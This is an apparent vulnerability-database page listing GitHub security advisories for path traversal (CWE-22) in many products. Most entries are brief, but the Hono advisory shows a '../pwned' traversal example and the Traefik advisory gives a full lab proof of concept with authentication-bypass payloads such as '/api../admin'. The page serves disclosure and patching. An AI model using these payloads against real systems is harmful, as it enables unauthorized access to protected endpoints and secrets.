CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13988 vulnerabilities reference this CWE, most recent first.
GHSA-XCRP-M9FH-5GHX
Vulnerability from github – Published: 2022-05-14 01:46 – Updated: 2022-05-14 01:46Directory Traversal in the explorer application in TerraMaster TOS version 3.1.03 allows attackers to upload files to arbitrary locations via the "path" URL parameter.
{
"affected": [],
"aliases": [
"CVE-2018-13332"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-27T21:29:00Z",
"severity": "HIGH"
},
"details": "Directory Traversal in the explorer application in TerraMaster TOS version 3.1.03 allows attackers to upload files to arbitrary locations via the \"path\" URL parameter.",
"id": "GHSA-xcrp-m9fh-5ghx",
"modified": "2022-05-14T01:46:41Z",
"published": "2022-05-14T01:46:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13332"
},
{
"type": "WEB",
"url": "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XCVF-58HP-27QH
Vulnerability from github – Published: 2022-05-17 01:48 – Updated: 2022-05-17 01:48Directory traversal vulnerability in the VulCore web service (WSVulnerabilityCore/VulCore.asmx) in Lenovo ThinkManagement Console 9.0.3 allows remote attackers to delete arbitrary files via a .. (dot dot) in the filename parameter in a SetTaskLogByFile SOAP request.
{
"affected": [],
"aliases": [
"CVE-2012-1196"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-18T00:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the VulCore web service (WSVulnerabilityCore/VulCore.asmx) in Lenovo ThinkManagement Console 9.0.3 allows remote attackers to delete arbitrary files via a .. (dot dot) in the filename parameter in a SetTaskLogByFile SOAP request.",
"id": "GHSA-xcvf-58hp-27qh",
"modified": "2022-05-17T01:48:25Z",
"published": "2022-05-17T01:48:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1196"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/73208"
},
{
"type": "WEB",
"url": "http://osvdb.org/79277"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47666"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52023"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026693"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XCVW-5F44-WF2R
Vulnerability from github – Published: 2023-08-07 15:30 – Updated: 2024-04-04 06:35Directory Traversal vulnerability in Textpattern CMS v4.8.8 allows a remote authenticated attacker to execute arbitrary code and gain access to sensitive information via the plugin Upload function.
{
"affected": [],
"aliases": [
"CVE-2023-36220"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-07T14:15:11Z",
"severity": "HIGH"
},
"details": "Directory Traversal vulnerability in Textpattern CMS v4.8.8 allows a remote authenticated attacker to execute arbitrary code and gain access to sensitive information via the plugin Upload function.",
"id": "GHSA-xcvw-5f44-wf2r",
"modified": "2024-04-04T06:35:38Z",
"published": "2023-08-07T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36220"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/172967/Textpattern-CMS-4.8.8-Command-Injection.html"
},
{
"type": "WEB",
"url": "https://release-demo.textpattern.co"
},
{
"type": "WEB",
"url": "https://textpattern.com"
},
{
"type": "WEB",
"url": "https://textpattern.com/file_download/118/textpattern-4.8.8.zip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XCXJ-RFMV-WFV3
Vulnerability from github – Published: 2022-05-01 23:54 – Updated: 2022-05-01 23:54Multiple absolute path traversal vulnerabilities in eLineStudio Site Composer (ESC) 2.6 allow remote attackers to create or delete arbitrary directories via a full pathname in the inpCurrFolder parameter to (1) folderdel_.asp or (2) foldernew.asp in cms/assetmanager/.
{
"affected": [],
"aliases": [
"CVE-2008-2863"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-25T12:36:00Z",
"severity": "HIGH"
},
"details": "Multiple absolute path traversal vulnerabilities in eLineStudio Site Composer (ESC) 2.6 allow remote attackers to create or delete arbitrary directories via a full pathname in the inpCurrFolder parameter to (1) folderdel_.asp or (2) foldernew.asp in cms/assetmanager/.",
"id": "GHSA-xcxj-rfmv-wfv3",
"modified": "2022-05-01T23:54:15Z",
"published": "2022-05-01T23:54:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2863"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43193"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5859"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30762"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3957"
},
{
"type": "WEB",
"url": "http://www.bugreport.ir/?/45"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/493473/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29812"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XF46-HJP6-HXPP
Vulnerability from github – Published: 2024-08-13 12:30 – Updated: 2024-08-13 12:30Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in G5Theme Ultimate Bootstrap Elements for Elementor allows PHP Local File Inclusion.This issue affects Ultimate Bootstrap Elements for Elementor: from n/a through 1.4.4.
{
"affected": [],
"aliases": [
"CVE-2024-43140"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T12:15:06Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in G5Theme Ultimate Bootstrap Elements for Elementor allows PHP Local File Inclusion.This issue affects Ultimate Bootstrap Elements for Elementor: from n/a through 1.4.4.",
"id": "GHSA-xf46-hjp6-hxpp",
"modified": "2024-08-13T12:30:53Z",
"published": "2024-08-13T12:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43140"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/ultimate-bootstrap-elements-for-elementor/wordpress-ultimate-bootstrap-elements-for-elementor-plugin-1-4-4-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XF4J-XP2R-RQQX
Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-04-08 15:34Summary
A path traversal issue in toSSG() allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via ssgParams, specially crafted values can cause generated file paths to escape the intended output directory.
Details
The static site generation process creates output files based on route paths derived from application routes and parameters. When ssgParams is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. ..), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.
For example:
import { Hono } from 'hono'
import { toSSG, ssgParams } from 'hono/ssg'
const app = new Hono()
app.get('/:id', ssgParams([{ id: '../pwned' }]), (c) => {
return c.text('pwned')
})
toSSG(app, fs, { dir: './static' })
In this case, the generated output path may resolve outside ./static, resulting in a file being written outside the intended output directory.
Impact
An attacker who can influence values passed to ssgParams during the build process may be able to write files outside the intended output directory.
Depending on the build and deployment environment, this may:
- overwrite unintended files
- affect generated artifacts
- impact deployment outputs or downstream tooling
This issue is limited to build-time static site generation and does not affect request-time routing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.12.11"
},
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39408"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:16:51Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA path traversal issue in `toSSG()` allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via `ssgParams`, specially crafted values can cause generated file paths to escape the intended output directory.\n\n## Details\n\nThe static site generation process creates output files based on route paths derived from application routes and parameters. When `ssgParams` is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. `..`), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.\n\nFor example:\n \n```ts\nimport { Hono } from \u0027hono\u0027\nimport { toSSG, ssgParams } from \u0027hono/ssg\u0027\n\nconst app = new Hono()\n\napp.get(\u0027/:id\u0027, ssgParams([{ id: \u0027../pwned\u0027 }]), (c) =\u003e {\n return c.text(\u0027pwned\u0027)\n})\n\ntoSSG(app, fs, { dir: \u0027./static\u0027 })\n```\n\nIn this case, the generated output path may resolve outside `./static`, resulting in a file being written outside the intended output directory.\n\n## Impact\n\nAn attacker who can influence values passed to `ssgParams` during the build process may be able to write files outside the intended output directory.\n\nDepending on the build and deployment environment, this may:\n\n* overwrite unintended files\n* affect generated artifacts\n* impact deployment outputs or downstream tooling\n\nThis issue is limited to build-time static site generation and does not affect request-time routing.",
"id": "GHSA-xf4j-xp2r-rqqx",
"modified": "2026-04-08T15:34:35Z",
"published": "2026-04-08T00:16:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-xf4j-xp2r-rqqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39408"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/b470278920fffcfd6d76002755d6db53db827679"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hono: Path traversal in toSSG() allows writing files outside the output directory"
}
GHSA-XF53-C458-R6PV
Vulnerability from github – Published: 2024-03-01 06:33 – Updated: 2024-08-16 18:30Directory Traversal vulnerability in DICOM® Connectivity Framework by laurelbridge before v.2.7.6b allows a remote attacker to execute arbitrary code via the format_logfile.pl file.
{
"affected": [],
"aliases": [
"CVE-2024-25386"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-01T06:15:48Z",
"severity": "HIGH"
},
"details": "Directory Traversal vulnerability in DICOM\u00ae Connectivity Framework by laurelbridge before v.2.7.6b allows a remote attacker to execute arbitrary code via the format_logfile.pl file.",
"id": "GHSA-xf53-c458-r6pv",
"modified": "2024-08-16T18:30:56Z",
"published": "2024-03-01T06:33:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25386"
},
{
"type": "WEB",
"url": "https://gist.github.com/Shulelk/15c9ba8d6b54dd4256a50a24ac7dd0a2"
},
{
"type": "WEB",
"url": "https://laurelbridge.com/security-notice-cve-2024-25386-potential-vulnerability"
},
{
"type": "WEB",
"url": "https://sec.1i6w31fen9.top/2024/02/02/dcf-operations-window-remote-command-execute"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XF5X-QRVX-6566
Vulnerability from github – Published: 2024-10-05 12:31 – Updated: 2026-04-01 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Innate Images LLC VR Calendar allows PHP Local File Inclusion.This issue affects VR Calendar: from n/a through 2.4.0.
{
"affected": [],
"aliases": [
"CVE-2024-44013"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-05T11:15:11Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Innate Images LLC VR Calendar allows PHP Local File Inclusion.This issue affects VR Calendar: from n/a through 2.4.0.",
"id": "GHSA-xf5x-qrvx-6566",
"modified": "2026-04-01T18:31:55Z",
"published": "2024-10-05T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44013"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/vr-calendar-sync/vulnerability/wordpress-vr-calendar-plugin-2-4-0-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/vr-calendar-sync/wordpress-vr-calendar-plugin-2-4-0-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XF64-8MW2-4GR2
Vulnerability from github – Published: 2026-06-11 13:26 – Updated: 2026-07-20 21:14Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48
- https://github.com/traefik/traefik/releases/tag/v3.6.19
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description # Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) ## Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. ## Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | ### Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | ## Vulnerable Configuration Pattern The issue appears when: - a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin pathshttp:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
## Observed Behavior
### Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed |
|---|---|---|
| `GET /admin` | Blocked | `401` |
| `GET /internal/config` | Blocked | `401` |
### Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed |
|---|---|---|
| `GET /api/admin` | Not routed to protected backend path | `404` |
| `GET /api/internal/config` | Not routed to protected backend path | `404` |
### Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives |
|---|---|---|
| `GET /api../admin` | `200` | `/admin` |
| `GET /api%2e%2e/admin` | `200` | `/admin` |
| `GET /api../internal/config` | `200` | `/internal/config` |
| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |
## Minimal PoC
### docker-compose.yml
services:
traefik:
image: traefik:v3.7
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:8080
- --accesslog=true
ports:
- "127.0.0.1:18080:8080"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends_on:
- backend
backend:
image: python:3.12-slim
working_dir: /app
command: python backend.py
volumes:
- ./backend.py:/app/backend.py:ro
expose:
- "9000"
### dynamic.yml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
### backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
return
def _json(self, status, obj):
body = json.dumps(obj).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path == "/admin":
self._json(200, {
"seen_path": self.path,
"secret": "ADMIN_SECRET_REACHED"
})
elif self.path == "/internal/config":
self._json(200, {
"seen_path": self.path,
"secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
})
elif self.path == "/admin/exec":
self._json(200, {
"seen_path": self.path,
"rce_chain_marker": True,
"note": "protected execution endpoint reached"
})
else:
self._json(404, {
"seen_path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
### poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
### Run
docker compose up -d
python3 poc.py
## Expected Vulnerable Output
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen_path=/admin
/api%2e%2e/admin 200 backend seen_path=/admin
/api../internal/config 200 backend seen_path=/internal/config
/api%2e%2e/internal/config 200 backend seen_path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reached
## Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /admin
The request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization.
The relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions.
## Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths
- Access to internal configuration endpoints
- Exposure of secrets returned by internal backends
- Access to protected backend management functionality
- Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
## Suggested Severity
Suggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
## Weakness
Primary CWE:
- `CWE-863: Incorrect Authorization`
Related weakness candidates:
- `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize`
- `CWE-22: Improper Limitation of a Pathname to a Restricted Directory`
## Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
PathRegexp(`^/api(/|$)`)
or:
PathPrefix(`/api/`) with StripPrefix(`/api/`)
## Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
## Reporter
WonYun / kyun0
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.48"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48020"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T13:26:57Z",
"nvd_published_at": "2026-06-23T20:16:47Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths \u2014 such as admin or internal configuration endpoints \u2014 without satisfying the authentication middleware attached to the protected router.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.48\n- https://github.com/traefik/traefik/releases/tag/v3.6.19\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)\n\n## Summary\n\nA route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`.\n\nA request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`.\n\nThis is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues.\n\nThis report specifically affects `StripPrefix`.\n\n## Affected Versions Tested\n\n| Image | Observed Version | Result |\n|---|---|---|\n| `traefik:v2.11` | `v2.11.46` | Affected |\n| `traefik:v3.6` | `v3.6.17` | Affected |\n| `traefik:latest` | `v3.7.1` | Affected |\n\n### Lab Contrast\n\n| Image | Result |\n|---|---|\n| `traefik:v2.10` | Not reproduced in lab |\n| `traefik:v3.5` | Not reproduced in lab |\n\n## Vulnerable Configuration Pattern\n\nThe issue appears when:\n\n- a broad public route strips a prefix\n- while a separate protected route is intended to guard internal/admin paths\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - strip-api\n service: backend\n\n protected:\n rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - auth\n service: backend\n\n middlewares:\n strip-api:\n stripPrefix:\n prefixes:\n - /api\n\n auth:\n basicAuth:\n users:\n - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n services:\n backend:\n loadBalancer:\n servers:\n - url: http://backend:9000\n```\n\n## Observed Behavior\n\n### Direct Protected Paths\n\nThese are correctly blocked.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /admin` | Blocked | `401` |\n| `GET /internal/config` | Blocked | `401` |\n\n### Expected Public Exclusions\n\nThese do not expose protected backend paths.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /api/admin` | Not routed to protected backend path | `404` |\n| `GET /api/internal/config` | Not routed to protected backend path | `404` |\n\n### Bypass Payloads\n\nThese reach protected backend paths.\n\n| Request | Observed Status | Backend Receives |\n|---|---|---|\n| `GET /api../admin` | `200` | `/admin` |\n| `GET /api%2e%2e/admin` | `200` | `/admin` |\n| `GET /api../internal/config` | `200` | `/internal/config` |\n| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |\n\n## Minimal PoC\n\n### docker-compose.yml\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7\n command:\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --entrypoints.web.address=:8080\n - --accesslog=true\n ports:\n - \"127.0.0.1:18080:8080\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n depends_on:\n - backend\n\n backend:\n image: python:3.12-slim\n working_dir: /app\n command: python backend.py\n volumes:\n - ./backend.py:/app/backend.py:ro\n expose:\n - \"9000\"\n```\n\n### dynamic.yml\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - strip-api\n service: backend\n\n protected:\n rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - auth\n service: backend\n\n middlewares:\n strip-api:\n stripPrefix:\n prefixes:\n - /api\n\n auth:\n basicAuth:\n users:\n - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n services:\n backend:\n loadBalancer:\n servers:\n - url: http://backend:9000\n```\n\n### backend.py\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n def log_message(self, fmt, *args):\n return\n\n def _json(self, status, obj):\n body = json.dumps(obj).encode()\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def do_GET(self):\n if self.path == \"/admin\":\n self._json(200, {\n \"seen_path\": self.path,\n \"secret\": \"ADMIN_SECRET_REACHED\"\n })\n elif self.path == \"/internal/config\":\n self._json(200, {\n \"seen_path\": self.path,\n \"secret\": \"TRAEFIK_LAB_INTERNAL_CONFIG\"\n })\n elif self.path == \"/admin/exec\":\n self._json(200, {\n \"seen_path\": self.path,\n \"rce_chain_marker\": True,\n \"note\": \"protected execution endpoint reached\"\n })\n else:\n self._json(404, {\n \"seen_path\": self.path,\n \"secret\": None\n })\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError\n\nBASE = \"http://127.0.0.1:18080\"\n\nPATHS = [\n \"/admin\",\n \"/internal/config\",\n \"/api/admin\",\n \"/api/internal/config\",\n \"/api../admin\",\n \"/api%2e%2e/admin\",\n \"/api../internal/config\",\n \"/api%2e%2e/internal/config\",\n \"/admin/exec\",\n \"/api/admin/exec\",\n \"/api../admin/exec\",\n \"/api%2e%2e/admin/exec\",\n]\n\nfor path in PATHS:\n req = Request(BASE + path)\n try:\n with urlopen(req, timeout=5) as r:\n status = r.status\n body = r.read().decode(errors=\"replace\")\n except HTTPError as e:\n status = e.code\n body = e.read().decode(errors=\"replace\")\n\n print(f\"{path:28} {status} {body[:180]}\")\n```\n\n### Run\n\n```bash\ndocker compose up -d\npython3 poc.py\n```\n\n## Expected Vulnerable Output\n\n```text\n/admin 401\n/internal/config 401\n/api/admin 404\n/api/internal/config 